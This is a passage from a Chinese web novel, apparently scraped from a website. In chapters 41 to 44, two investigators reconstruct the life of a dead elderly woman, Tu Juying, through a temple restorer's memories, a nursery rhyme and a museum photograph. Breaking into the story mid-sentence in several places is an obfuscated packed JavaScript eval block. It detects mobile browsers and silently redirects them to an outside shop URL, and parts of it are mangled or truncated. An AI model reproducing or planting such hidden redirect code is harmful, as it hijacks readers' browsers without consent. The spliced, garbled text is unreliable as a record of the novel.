“喏,这是我以前工作时到各地修复文物古迹留下的照片记录,新河县龙王庙也在里头。我记得是在……有了,这里!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581184|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石勤翻到那几页给秦于理两人看:“这是修复前,这是修复中,这是造像的时候,这是闲暇时候我们几个同事纳凉消暑吃瓜,这是集体照……” 石老爷子一一指点过去,并不像他说的那般健忘,龙王庙的修复过程在黑白影像中被栩栩如生的展现出来。 秦于理眼尖,突然伸手按住相册问:“这是谁?” 她手指的那张照片属于石勤和他的同事们工间休息时的随手记录,相片里,有人在热火朝天地讨论着什么,石老爷子那会儿还是个小青年,正聚精会神地在捏龙王爷的面部轮廓,几个乡亲站在旁边观看,在角落里,有个抱着小孩的妇人,正专注地看着石勤工作。 “这是……”石勤恍然大悟,“哦,这是住在附近的小李,她对历史文学都很感兴趣,那会儿她在家带孩子,有空的时候就会来串门。” “小李?”秋樰生疑惑,“我们弄错人了?” 说来也不知道是不是巧合,虽然和屠菊英“打交道”到现在,两人压根还不知道老太太到底长什么样子。刚到霞鹜村的当晚,他们在查户籍信息的时候其实应该看到过屠菊英的证件照,但由于工作纪律和那会儿还没锚定目标人物,所以最终只是匆匆一眼并未细看。 秦于理还没放弃,问:“她叫李什么,您知道吗?” 石勤说:“李霭,木子李,雾霭的蔼。” 秦于理和秋樰生同时反应过来:“李云升!” 云升为蔼,所以李云升,也叫李霭。旧时妇女出嫁要冠夫姓,新中国成立以后,1950年出台的《婚姻法》废除了这一旧习,屠菊英或许是为了保护隐私,对石勤他们使用了化名。 秋樰生低声问:“李云升不是屠菊英的青梅竹马吗,怎么会是她本人呢,难道她用了她丈夫的名字?” 石勤说:“我记得那就是她的名字啊,姓李名霭,字云升,这也符合我对她的印象。小李斯斯文文的,读过很多书,很有文学造诣,还喜欢李白的诗歌,就是嫁人早,儿子又是个早产儿,身体不好,所以只能常年带在身边。” “您是说李霭是个家庭主妇?” “是啊,怎么了?” 在屠菊英对林雅菲说的话里,她说她本人是名高中语文老师。 秋樰生说:“也许是李学思长大以后,屠阿姨回归社会,重新找了工作。” 这倒也解释得通。 石勤说:“你们刚刚不是问我龙王塑像风格是不是听了别人的建议吗,就是小李。那时候我正苦于给龙王塑像的最后一关,龙首怎么塑就是不满意,小李看我反复画了稿子又废掉,就问我怎么回事,我便把不知道该把龙王爷塑造成什么样子的困惑对她说了。 “我那时也就是埋怨,并没想过她能给什么主意,谁知她问我做成青年人神的样子好不好,我当时大吃一惊。你们想,那时候是七十年代末,社会风气和审美还是比较保守传统的,不像现在,我看我孙女儿看的漫画,各种神佛都是俊男美女,那时候还是很传统的,就算是人神也是戏曲里的造型,讲究一个庄重肃穆,何况龙王爷是龙,是自然神…… “可她说现在已经不是旧时代了,洛河能治理好靠得是科学知识,是千千万万的人,虽然重修龙王庙,但原先的龙王像早就毁得一丁点都不剩了,为什么在造像的时候还要因循守旧,敬拜一个虚无的形象而不是体现人定胜天的精神呢?” 在石勤的描述中,秦于理和秋樰生的脑海里不由得都勾勒出了一个栩栩如生的女子形象,她知书达理,观念超前,对历史、对文学、对整个世界都充满了好奇。她就像她给自己取得那个化名那样,李是李白的李,蔼是想要游走四方的云,李云升,真真切切是屠菊英给自己取的名字! 这一刻,秦于理完全确认了这一点。 42.第42章 过眼云烟 这样一个聪慧、独立、对自己的人生有诸多想法和规划的年轻女性与现在案情推测中那个被阿尔茨海默症和自己一手带大的儿子困囿于床上,因为饥饿和求生欲,不得不自己撕下维持了一辈子的自尊,将杂物粪便从窗口丢下去,试图唤回儿子的注意却又小心翼翼地不敢露出一点马脚,生怕给儿子添一点儿麻烦的孤苦无依的老太太,几乎是判若两人的形象。换成任何一个人听到,都会觉得不可置信。 秋樰生和秦于理一时之间都沉默了。石勤也没有继续说话,按理来说,他并不知道屠菊英后来的人生轨迹,或许在他印象中,屠菊英还是那个充满智慧的李霭,最多只是如今变成了一个更加充满智慧的老太太,可就像是感知到了什么似的,老人脸上原本和煦的神色变得苦涩凝滞起来。 过了一会儿,秦于理说:“所以,后来您便按照李阿姨的建议,重新设计了龙王像的造型?” 石勤说:“是啊。设计图刚出来的时候,我还以为其他人会反对,结果大家都觉得挺有意思的,还你一言我一语的提出了建议,有的说,现在是人民当家作主,龙王爷也得是人民的样子;有的说,龙王爷是为人民服务的,要一身正气还要有亲和力;还有人说,龙王爷必须英姿飒爽,就像电影里的表演艺术家一样,长的吗,可以英俊点……大家的意见,我都记下来了,修修改改,反复细化,最后才有了今天你们看到的样子。” 秋樰生问:“那您和李阿姨后来还有联系吗?” 石勤的目光微微暗淡,他说:“龙王庙完工前一段时间,小李就不再来了,或许是家里有事吧。我们施工队后续还有任务,走得很匆忙,我虽然给其他乡亲留了联系方式,让他们看到小李转交给她,但是一晃几十年过去了,却再也没有收到关于她的只言片语。”似乎生怕两人误会,石勤又补充解释道,“我也没别的意思,就是想着,我虽然不是什么大人物,好歹在首都工作,小李志向远大,万一以后如果有需要帮忙的地方,可以随时联系我。”石勤说到这里,看向秦于理和秋樰生两人,犹豫了良久才问道:“小李她,现在过得还好吗?” 刚刚秋樰生和秦于理曾在话里表明是跟着长辈留下的一段话找过来的,其实这已经是很明显的暗示了,石勤却还是忍不住问出了这句话。 秋樰生看了秦于理一眼,见她没有要回答的意思,只得自己开口说:“李阿姨在前些日子因病去世了。” 石勤先是愣了一下,随后面上皱纹缓缓舒展开来:“原来如此,原来如此……”像是验证了一个早就存在于心中的结论,他没有询问秋樰生、秦于理与屠菊英(李霭)的关系,而是追问了一句,“那她这些年过得还好吧?” 秋樰生说:“她……” 秦于理打断了秋樰生,说:“她后来在高中当语文老师,住在城里,有一套自己的小房子。儿子,就像刚刚说过的那样,顺利长大成人,如今在城里开殡葬店,娶了个媳妇,给她生了个孙子,今年读初三,马上就要上高中了。她丈夫前些年已经走了,但她有不错的退休金,所以自己一个人过,有空的时候会给附近的学生补补课,教写作文,也会参加社区的活动,隔壁邻居都说她是个体面人。” 秦于理说的是屠菊英口中描述的自己和现实中他们看到的情况,只是省去了其中的细节和转折,光是这么概括起来看,屠菊英的一生也算是完满周全。 石勤松了一口气说:“那就好,那就好。”他叹息,“只可惜无缘再见故人一面。” 屋子里重新沉默下来,秋樰生判断老人那里已经没什么信息了,遂起身道:“石大爷,那我们今天就聊到这里,后面还有事要办。” 秦于理也跟着起身,对石勤道了别,跟着秋樰生走到门口。两人正要迈出门槛,石勤又喊住了他们,两人同时扭过头去。 石勤纠结了一下,最后还是说:“你们祭拜她的时候,如果方便的话,能不能替我带句话,就说……” “不能。”秦于理说这话的时候,眼睛微微一眯,阳光从她背后照过来,显得那双丹凤眼格外幽深暗沉,她说,“等她落葬了以后,我们会转告您地址,如果有机会的话,我建议您自己去她坟上讲。” 石勤明显有些纠结,秦于理又说:“毕竟您这么大年纪了,还专程从首都跑到这乡下地方的龙王庙里当义工,都已经走出了99步了,这最后1步如果不走,未免太可惜了。” 石勤的表情瞬间剧烈变化起来,两颊已经松垮的肌肉随着心情的变化不停颤抖,他一屁股跌坐回椅子上,仿佛陷入了某种回忆中。 秦于理对秋樰生说:“咱们走吧。” 两人重新从那扇门出去,秋樰生问:“你们刚刚在说什么,石大爷想让我们转告什么?” 秦于理说:“你对人的感情这方面确实愚钝。” 秋樰生有点无语:“我当然看得出石大爷对屠阿姨有点儿不一样,但这和九十九步与一步又是什么关系?” 秦于理说:“屠菊英用化名跟石勤交往,可见她有不得不瞒住自己身份的理由,她是个家庭主妇,也不牵涉到保密条款之类,那么这个理由跟家里有关的可能性最大。石大爷跟屠阿姨两人兴趣爱好相同,很聊得来,就连龙王像重塑的概念也是屠阿姨提出来的,按理,她不会不来参加龙王庙的落成仪式,但石大爷却说她就在龙王庙完工前的一段时间再也没来过,加上石大爷退休了还千里迢迢从首都跑到这乡下的龙王庙来,显然他心里有一桩没有了的心结,会来到这里守株待兔,就是为了再见屠阿姨一面,所以我倾向于这个心结和某个误会或者矛盾有关,正是这个误会和矛盾导致屠阿姨没能来参加龙王庙的落成仪式,也造成了石大爷一直觉得自己对屠阿姨心中有愧。” 秋樰生回忆起殡葬店相片墙上那张带着阴郁的相片问:“难道屠阿姨的丈夫怀疑他们有染?” 秦于理点头:“事实上应该是没有的,但大家都看得出石大爷对屠阿姨有心思,至于屠阿姨之所以会用化名,也许也是因为她丈夫并不喜欢她在外面抛头露脸。” 秋樰生也不由得感叹了一声:“这都什么事儿!”他问秦于理,“本来以为能一下子解决童谣,现在线索又断了,接下来你打算去哪儿?” 秦于理问:“你有什么建议?” 秋樰生说:“我的话,还是想找屠阿姨老家。既然屠阿姨曾经常带李学思来龙王庙,可见他们家住的离这里并不远,虽然现在这里已经都更新过了,但问问老街坊,也许能查到过去的老房子有没有保留下来的痕迹。” 正说着,又碰到刚刚那个提着水桶的大爷走进来,看到他们打了一声招呼:“这就走啦,留下来吃个饭呗。” 秦于理说:“不用啦,我们还有些事情要办,就不叨扰了。” 老头说:“那以后有空常来啊,这座龙王庙求姻缘很灵验的!”显然对秦于理和秋樰生的关系有所误会。 秋樰生听了难免有点尴尬,但秦于理却似乎毫无所觉。她问这老头:“大爷,跟您打听一下,以前龙王庙修建的时候,有位经常带着孩子来庙里的女士,您有印象吗?” “就碑店小学会计李福全家的媳妇儿吗,我当然知道。”老头说,“我家那时候跟他们家住一条街上,关系不算很近,但也算熟人。她男人管她管得紧,不让她往外跑,可她儿子小时候老生病,还是我有次碰到她,跟她说小孩子身子弱,眼睛亮,可能被邪祟冲了,到龙王庙里求求龙王爷,没准能变好。她后来就真的来了,哎,你别说,她儿子只要一进这龙王庙,精神就好多了。她和石……” 意识到自己失言,老头立刻又转了话题说:“来的次数多了,她和施工队的大家也处熟了,不过怕她男人生气,她那时候只能拿她老公的姓起了个化名,还叮嘱我不要说漏嘴呢!” 看来所有人都以为屠菊英的化名李霭是从了夫姓,只有她本人知道,那和叫李福全的男人毫无关系,因为那是从她崇拜的浪漫主义诗人李白的姓氏里取的。 老头说:“哎呀,不说了,都是过眼烟云,哎,你们不是老石的亲戚吗,和她是什么关系呀?” 秋樰生含糊说:“晚辈。屠阿姨前阵子因病离世了,所以我们来老地方走走看看,追思一下。” 听闻屠菊英的死讯,老头的情绪就没有石勤表现那么激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦于理和秋樰生刚迈出庙门,便看到不远处的饮料店门口,林雅菲一个人呆呆的坐着。她买了一杯柠檬水,面前的桌子上摆着猫包,棉花糖已经被放了出来,此时正懒洋洋地趴在她身上晒太阳。 庙门口人来人往,有个小朋友犹豫了一会儿,跑了过去,稚声稚气地说:“姐姐,你的猫咪好可爱呀,我能摸一摸它吗?” 林雅菲回过神来,对小女孩笑了笑说:“可以啊,不过你要轻一点哦,她已经是猫奶奶了呢。” 小女孩张大眼睛:“啊,她年纪很大吗?” 林雅菲说:“已经十四岁啦。小时候,姐姐爸妈在大城市里打工,没时间陪姐姐,有一天,棉花糖就从我们家门前的湖里爬上岸,自己跑进了门,从此就成了我的小伙伴。” “哇!”小女孩发出惊喜的叫声,“猫奶奶真的好聪明啊。” 在林雅菲同意以后,小女孩伸出胖嘟嘟的小手轻轻摸了棉花糖几下,棉花糖似乎睡熟了,没有任何挣扎。 林雅菲提醒她说:“摸过了小猫,回去记得要洗手才能吃东西哦。” 小女孩说:“我知道啦,谢谢姐姐!”她身后的母亲也朝林雅菲微笑致意,母女两人牵着手离开了。 林雅菲看着两人,眼神里似乎有些什么深邃的东西,也不知道她在想什么,低下头再次轻轻地抚摸起棉花糖的身体。 “雅菲。”秋樰生和秦于理这才走上前去,喊了一声。像是被叫醒了一般,棉花糖的身体微微一颤,她的肚皮快速起伏起来,过了会儿,睁开猫眼,看向两人,依然是那种,仿佛带着智慧的老者的眼神。 秋樰生想说什么,秦于理拦了他一下,说:“肚子饿不饿,要不要先吃点东西。” 林雅菲站起身,棉花糖便从她膝头跳到椅子上,懒洋洋地伸展了一下身体,重新跳到桌上,钻进了猫包。 林雅菲把拉链拉起来,重新背起猫包说:“我不饿,接下来我们去哪里?” 秦于理说:“去南河区找屠阿姨的娘家。” 她说话的时候留神观察了林雅菲的神情,可女孩子显得有点儿恹恹的,只是点点头说:“好。” 43.第43章 回家 本来以为要在新河区花一天半的时间,结果现在半天多就搞定了,与此同时,线索又要重新在南河区找。 秋樰生的车开过跨河大桥的时候,林雅菲突然念了一句:“石老头,八对八,虾兵蟹将不过江。” 现在看来,虾兵蟹将不过江不仅是指龙王庙里的虾兵蟹将守的是神道,而非江河,恐怕也有另外一层含义,即出了嫁的屠菊英已经成了李家的媳妇而非过去屠家的女儿,她想要回的家,已经远在了河的另一边,人生的前一站,或许可以遥望,却已不可及。 抵达南河区的时候差不多下午两点半,秦于理和秋樰生还是带着林雅菲去路边小店吃了点儿东西,顺便打电话摇人,看看能不能查到些线索。 秦于理见棉花糖乖乖躺在猫包里,问林雅菲:“棉花糖饿不饿,隔壁有超市,我去买个罐罐怎么样?” 林雅菲摇头:“刚刚在龙王庙外喂她吃过一根烤肠,她不饿的。年纪大了以后,棉花糖就不怎么吃得下东西了,如果真要是饿了,她会喊我的。”似乎听得懂主人的话,白色老猫从猫包里探出头来,轻轻蹭了蹭林雅菲的手,像是在附和。 秋樰生打完电话回来,端起饭碗说:“运气不错,有个朋友刚好知道这事,他说这种大杂院过去都伫立在河岸一带,本来是码头工人和小商贩在住,二十多年前改建的时候已经全都拆掉了,但是有些房子本来就是从前朝更老的房子修修补补改建扩充来的,所以当时发现的具有价值的物件、簿册之类现在都存在了附近一座城市印记展览馆里,距离这儿也就十多分钟路程,吃完我们就可以过去。” 秦于理点点头,虽然还不知道花马、白羊、小娃娃这三个词是什么意思,但似乎这一趟旅程的终点就在不远的前方了,而这一路走来,又何尝不像是在茫茫大雾中,跟在提着灯的屠菊英老人身后,回顾了一遍她的人生路呢? 吃过饭,三人开车找到了城市印记展览馆。那栋展览馆就伫立在河岸边,以前是老房子的地方如今已经被改成了滨江步道,秋高气爽,很多市民和游客带着家人在大道上漫步,还有人买了面包鸟食,在喂飞来飞去的水鸟。洛水碧绿,在蓝天白云下有种跨越了岁月的悠然自得。 展览馆免费开放,也不用预约,这次林雅菲背着棉花糖跟着两人进入其中。 展览馆有三进,第一间展厅是照片展板和微缩模型,从大到小,从前往后讲了这片区域规划改造的缘起和进行,比如什么会议确认什么方案,上级批示的红头文件,参与单位以及设计蓝图等等,第二间展厅是对未来的展望,陈列了一些规划中的新地标模型,重点企业落户后的预计贡献和生产的先进产品等,到了第三间展厅,一股旧日气息扑面而来。 和前两间展厅的干净、整洁、未来感相比,这里就像是老旧的相片胶卷,是属于过去的岁月定格。玻璃展柜里摆放着各类杂七杂八的小物件,有清朝的瓦当,明朝的民间生活器皿,大家族的族谱,过去码头工人干活用的工具,穿的草鞋等等,还有好些影像不甚清晰的黑白老照片。 秦于理见林雅菲在一幅展板前停了下来,便也顺着看过去,这一片的主题是老南河人的生活与休闲文化,展板上展出了各种热闹场景,诸如庙会、集市、祭祀等等,各种老建筑鳞次栉比,显现出过去这一带的热闹景象。林雅菲在看的那张照片上可以看到一座河边搭建起来的舞台,穿着老式衣服的人们围得里三层外三层,舞台上有个戏班正在表演,其中一个老生头戴毡帽,手持旄节,和一头山羊在寒风萧瑟中依偎在一起,演的正是《苏武牧羊》这一出。 苏武牧羊……白羊? 秦于理仿佛一瞬间打通了关窍。因为有龙王庙的前例,他们一直试图寻找花马和白羊的实体,总觉得那要么是和余娇娘一样代指了某种标志性植物,要么就是和石老头一样,代指的是石刻雕塑,所以来南河区找线索,一开始也是想着屠家老房子里是否曾经摆放过石马、石羊之类的东西,但此时再回过头想,屠菊英的童谣是她自己创作的,前两句是她曾经印象深刻的龙王庙一段,那是她在婚后为了家庭儿子疲于奔命之时,不多的精神慰藉;那么花马、石羊和小娃娃也应当是对她具有正面意义的事物,光是石刻植物恐怕无法满足这一点。 这些事物都和屠菊英的娘家有关,而还在娘家的屠菊英是少女屠菊英,乃至是小女孩屠菊英,所以虽然这四句童谣排在了龙王庙后面,但从时间线上来看,反而发生在龙王庙之前。 “梁上坐着个小娃娃,咯咯笑着叫妈妈……” 秦于理看到照片上的人群中,有不少人带着孩子来看戏,小孩子个子矮,那时候也没有什么阶梯式剧院,于是大人们就将自家孩子架在自己脖子上,好让他们看个清楚。 “原来梁上不是真梁上,而是父母的肩膀上。”秦于理想。 没有哪个家长会没事干把自己孩子搁到真正的房梁上,也没有哪个小孩被放到房梁那个高度还不害怕,反而咯咯笑,屠菊英后四句所描绘的分明是她童年时分,被父母带出来看戏,坐在家长肩膀上的美好回忆。 那时候的屠菊英眼里,前方是琳琅满目的戏台,一根马鞭便代表一匹马,一支船桨便代表一艘船,看《苏武牧羊》,也看《秦琼卖马》,花马白羊皆入戏,展现古往今来诸多人物历史;而她的身边是疼爱自己的父母家人,他们将她高高托举,让她将这舞台上的精彩一览无余,也许还会往她手里塞块芝麻糖果。那时候的她身上没有繁琐的家务、育儿的重责、理想搁置的不甘、与丈夫的琐碎矛盾,那时候的屠菊英还是屠家的女儿,哪怕家庭条件未必富足,也过着无忧无虑的快乐年华。或许正是因为小时候这段随家人看戏的经历,激发了她对文学、历史的兴趣,塑造了后来那个“李霭”,所以这也是对她分外重要的美好记忆! 秋樰生在一旁低语:“竟然是在说看戏。”显然,他也已经想明白了这一层。 屠菊英的两段六句童谣其实很简单,描述的皆是令她印象深刻的美好回忆,那些回忆牵扯着她的归属感,不论是情感上的,还是物理上的。成年出嫁后的屠菊英,曾经把家安在碑店街,后来又搬到了城郊小区,她本来以为那会是她最后的归处,可她的儿子李学思为了给自己儿子购买学区房,需要她腾出那间屋子来,他甚至不愿意给自己的老母亲一个家。 “屠阿姨真可怜,她只是想回自己的家。”林雅菲轻声说,“可放眼这大千世界,居然哪儿都没有她的家了。” 猫包里的棉花糖突然发出动静,林雅菲愣了一下,赶紧把猫包解下来看,只见棉花糖似乎十分痛苦地用脑袋撞着猫包,她身上雪白的毛发一撮撮地被蹭下来,嘴角也渗出了暗红色的血液。林雅菲一下子慌了起来,紧张地打开猫包,将棉花糖抱出来。 “棉花糖,你怎么了,棉花糖!” “她的时间要到了。”秦于理说,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602679|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪怕你也受到了她的记忆影响,但她重生的主要载体依然是棉花糖,而棉花糖的生命本来就已经快要走到终点了。” 林雅菲满脸震惊地看向秦于理,颤抖着问:“秦姐,你在说什么,我不、不理解你的意思!” 秦于理说:“你应该能猜到的,只是不愿相信罢了。屠菊英老人已经过世了,但她心里始终记挂着要来参加你婚礼的事,在你掉进家门口的河里时,或许是巧合,或许是执念,她重生到了棉花糖身上,去附近叫了人,把你及时救了上来,但现在,棉花糖的生命也快走到终点,她就要走了。” 林雅菲失魂落魄地瘫坐到地上,抱着棉花糖喃喃自语:“棉花糖是……你是说,屠阿姨,屠阿姨她一直在我身边?” “是。”秦于理亮出了证件,“我是隀明市公安局重生案件调查组组长秦于理,屠菊英重生案是我的管辖范围。”她伸手正要触摸棉花糖,联通因果网,却被秋樰生突然伸过来的手拦住了。 秦于理对他投以疑问的眼神,秋樰生说:“再给我点时间。”他转而对抱着棉花糖,已经开始抽泣的林雅菲说:“林雅菲,是你邀请的屠阿姨来参加你的婚礼,她千辛万苦才来到了你身边,现在你拿定主意没有?” 林雅菲茫然地看向秋樰生,像是不知道他在说什么。 秋樰生说:“我们这一路上已经将老人家的一生都看了一遍,童年读书,长大嫁人,放弃理想,相夫教子,重回社会,继续拼搏,再到年老退休,为儿孙攒钱开店,后来又被自己的儿子所害,不管有意无意,她的一生钜细靡遗地都给我们看过了,现在你能做出自己的决定了吗?一天后,你到底要不要嫁给王广顺,你决定走怎么样的一条道路?” 林雅菲喃喃自语:“我要走……怎么样的一条路……” “是的,你也该做出决定了。”秋樰生说,“是稀里糊涂得过且过,到七老八十后悔过往,还是厘清思绪,承担责任,走一条被人指点却符合自己心意的道路。 “没有任何一条路是只有好处没坏处的,也许你结婚了以后,广顺待你百依百顺,你能过上幸福美满的好日子,庆幸自己当年选的对,又或者,时光磨平了夫妻间的热情,你会在日后看到别的独立女性在事业上过关斩将,取得亮眼的成绩,而你却只有老公孩子热炕头,一辈子庸庸碌碌时,暗自后悔自己浪费了时间,但反过来,你也可能在职业的道路上进展不顺,中途折戟,想要再回头找广顺,他却已经不在原地,和别的姑娘喜结连理,阖家幸福。 “没有人能替你做出选择,也没有人该替你做出选择。每条路都是你选、你走、你造,把选择权交给别人,以便将来日子过得不顺的时候抱怨,那就太贪心了!” 林雅菲脱口反驳:“我从没想过怪别人……” 秋樰生头一次用十分严厉的口吻对林雅菲说:“你最好没有。虽然你口口声声是为了借助我的力量查找屠阿姨的下落才设计了一出落水的戏码,但这里头分明也藏着你想要拖延婚期的意思。雅菲,我不懂女人,说话难听,你可以讨厌我,但我还是要说,该你面对的东西,你终归是要自己面对的。” 刚刚昏厥的棉花糖此时又微微睁开眼睛,像是很努力地想要再看林雅菲一眼,眼神里有不舍、有难过也有期许。 林雅菲擦干眼泪说:“我知道了,我会回去和广顺、和我父母说清楚的。”她抱着棉花糖站起身来,“我们回家吧!” 44.第44章 云升月明 晚上九点多的时候,秋樰生终于又把车开回霞鹜村,停在了村口的停车场上。 车停好后,林雅菲没有第一时间下车,秋樰生和秦于理也没催她,在车里静静地坐着,等她做出一个决断。终于,手里白猫轻微的抽搐让女孩子做出了最终决定,她将猫咪小心翼翼地抱在怀里,打开车门,快步走了出去,走着走着,竟奔跑起来并越跑越快。 秦于理也跟下车,正要追上去,看到秋樰生没有动静,重新探头进去问:“怎么不下车?” 秋樰生说:“总觉得,这种时候我要是在场,可能会让事态变得更复杂。” 秦于理说:“没想到你也有高情商的一天。” 秋樰生被噎了一下,反击道:“说得你情商很高似的……什么玩意儿?” 秦于理从口袋里掏出一个塑料证物袋丢到了秋樰生身上,秋樰生对着车灯看了一眼,里面是那只秦于理在湖边找到的金镶玉菊花耳坠。 秋樰生说:“这是做什么?” 秦于理说:“闲着也是闲着,趁着店铺还没打烊,你去试试李学思。” 秋樰生说:“你怀疑这个耳坠……” 秦于理伸出两根手指:“我有两个怀疑,第一,耳坠是将林雅菲推下水的那个人留下的,那么这应该是个上了年纪的女人,昨天赵大仙来的时候,你们村的人到得挺齐,我留神看了一下,没发现有人耳坠丢了一只。这只耳坠看起来很有年头,应该有人常年佩戴,霞鹜村那么小,如果有人临时换了耳坠,其他人不会没发现,那么剩下的可能只有一个,我怀疑这只耳坠是屠阿姨的。” 秋樰生说:“你知不知道,怀疑就是YY,法律上没有证据是申请不到搜查令的。” “这是你的事。”秦于理说,“屠阿姨的心愿就两个,第一个是林雅菲邀请过她参加婚礼,她得来,排除一切困难也得来;另一个是她想回家。她陪我们走了一路,让我们这些路人观摩了她的一生,没道理我们不替她把尸骨找回来,入土为安,何况我还答应了石勤会将屠阿姨的墓葬地址转告给他。” 秋樰生说:“秦于理,你昨晚私闯民宅的时候我就说过了,你做事能不能不要想一出是一出,我好歹是有职级的,万一你的怀疑出了错,到时候李学思去局里举报我,你让我怎么办?”似乎意识到自己态度有点问题,秋樰生尽量收敛了脾气说,“我不是不查,只是办案得讲究正规、合法……” 秦于理说:“再啰嗦,你去陪林雅菲,我去试李学思。”她说着就要去拉驾驶位车门。 秋樰生吓得赶紧发动了车子:“我去,我去还不行吗!”说着,踩下油门,掉头重新将车子顺着山道开出去。 车后视镜中,秦于理冲着秋樰生挥手:“0000,加油哦,看你的了!” 秋樰生:“……” 秋樰生从车窗里伸出一个拳头,表示抗议,并且决定今晚谁也别想好过,于是让车载系统替他拨打了本地那个帮忙找过屠菊英李云升户籍信息的同事:“喂,舟儿,空着吧,有个事你帮个忙……” 秦于理目送秋樰生的车子消失,夜风吹起她的发丝,她轻轻开口说了句:“可惜,我从没出过错。” 身后的村落里已经开始有了动静,村里人睡得早,秦于理他们刚到的时候,村子里不少人家已经熄灯睡觉,此时却因为吵闹声一家家被惊醒,电灯也一盏接着一盏的亮起,很快,整个村庄都完全苏醒了过来。 秦于理完全能想到林雅菲在进入村庄之前那几分钟,坐在车子里剧烈的思想斗争,但现在她已经迈出了前面的99步,最后这1步想来无论如何也荒废不了了。 …… 深夜,学思殡葬用品店门口的街道上人流清淡。 虽然是长假的夜晚,但这里毕竟是医院一带,如果不是因为身体有病,没谁会想这个时候到这一带来找不痛快,特别是殡葬店。 李学思打了个哈欠,做殡葬用品这一行经常需要守到夜深,虽然没有什么科学依据,但这些年生意做下来,他也已经明白了一个道理,夜深人静是最容易收割生命的时候。 “都怪我妈!”他恨恨地想,如果不是屠菊英非要他开什么殡葬用品店,他这些年的日子也不用过得这么苦。每天起早贪黑赚那么一点儿死人钱,就连老婆都嫌他晦气,平时晚上不准他回家睡。 “一样要做生意,就不能多攒点钱让我做点体面生意吗,开个棋牌室多好,桌子往那儿一丢,再弄个开水桶,搞点蹩脚茶叶,事情少,收入多,没事干的时候还能自己玩几把。”这么想着,李学思更觉得自己困得不行了。 他媳妇儿长得漂亮,平时爱打扮,儿子又是初三,学习成绩不怎么行,要上高中就得靠钱砸,钱成了他身上最沉重的负担。他砸吧着嘴,觉得做男人好生没趣,凭什么女人可以随随便便找个男人一嫁就不用再出来抛头露脸,只需要每天把自己打扮漂亮,最多收拾收拾家里就行,而他却要每天守着这家店,哪儿也不能去! 李学思觉得自己完全是被他爹妈拖累了,不,他爹还行,主要还是他妈! 一想到这里,李学思脑海里又浮现出那张熟悉的脸孔。在生命的最后关头,老太太在自己眼前露出了一种失望与愤怒的神色,仿佛他做了天大的错事一般,可他有什么错呢?娘养儿子,儿养孙子,普天下的人家不都是这么过下来的吗?当初他妈自己生活不检点,导致跟他爹吵架,争执中让他早产伤了脑子,后来读书成绩一直上不去;等他成了家又对他挑三拣四,数落他工作态度有问题,工作老是做不长;等到孙子要上高中,需要学区房了,他央求老太太搬去养老院住,好把房子卖掉凑个首付,谁想到老太太不仅不配合,还对他破口大骂! 李学思阴恻恻地磨了磨牙,那样子看起来跟墙上挂着的老头如出一辙。 “一切都是你自己的错,如果你当初不出轨那个什么李云升,怎么会有后来发生的一切?” 想到李云升,李学思又想到了前天晚上那通奇怪的消息。 真是邪了门了,明明老太婆自己说的李云升已经死了,怎么还会有人拿老东西的名字来诈他。 “呸!”李学思吐了口唾沫,觉得自己这一生的不易都是因他妈屠菊英而起,偏偏他爹都死了,老太太却还活着,活着不算,身体还挺健康,脑子又坏掉了,早晚变成个疯子。 李学思曾经跟对面的医生打听过,阿尔茨海默症目前无药可治,等病人完全丧失神智的时候,什么事情都做得出来,到时候需要家人24小时细心看护。 拜托!他已经够累够忙的了,哪里有空再多照顾一个人,何况他们夫妻自己的房子也不大,怎么可能安排老太太住进去! 李学思那天从医院走出来的时候就拿定了主意,要买学区房,要解决照顾失智老娘的唯一方法,就是让他娘消失。对,消失是最妥当的,他老娘好歹也是个退休教师,虽然直到退休前几年才拿到了编制,好歹退休工资每个月也有几千块,真要是死了,他们夫妻也就少了一笔收入,所以老太太需要在,户籍上的在,但在生活里,她最好是消失。 “你好。” 门口传来呼唤,把李学思的神智唤了回来。殡葬店门口站着个身材中等的男人,圆胖脸颊,看起来普普通通。 李学思忙上前招呼:“你好,要买什么东西吗,我可以给你介绍。” 李学思走到一半就觉得这男人似乎不像是主顾。家里死了人的主顾往往都有统一的神色,逝者生前缠绵病榻的,家属神情往往麻木中带着松了口气的解脱,那些意外身亡的,前来料理后事的又往往不是至亲家人,因为那时候最亲的亲人多半已经六神无主,失了分寸,所以从旁料理的多是些隔了一道的亲属,表情并不沉重,但多少有惋惜之色,但面前这个男人脸上完全没有前两者中任何一种的特征。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 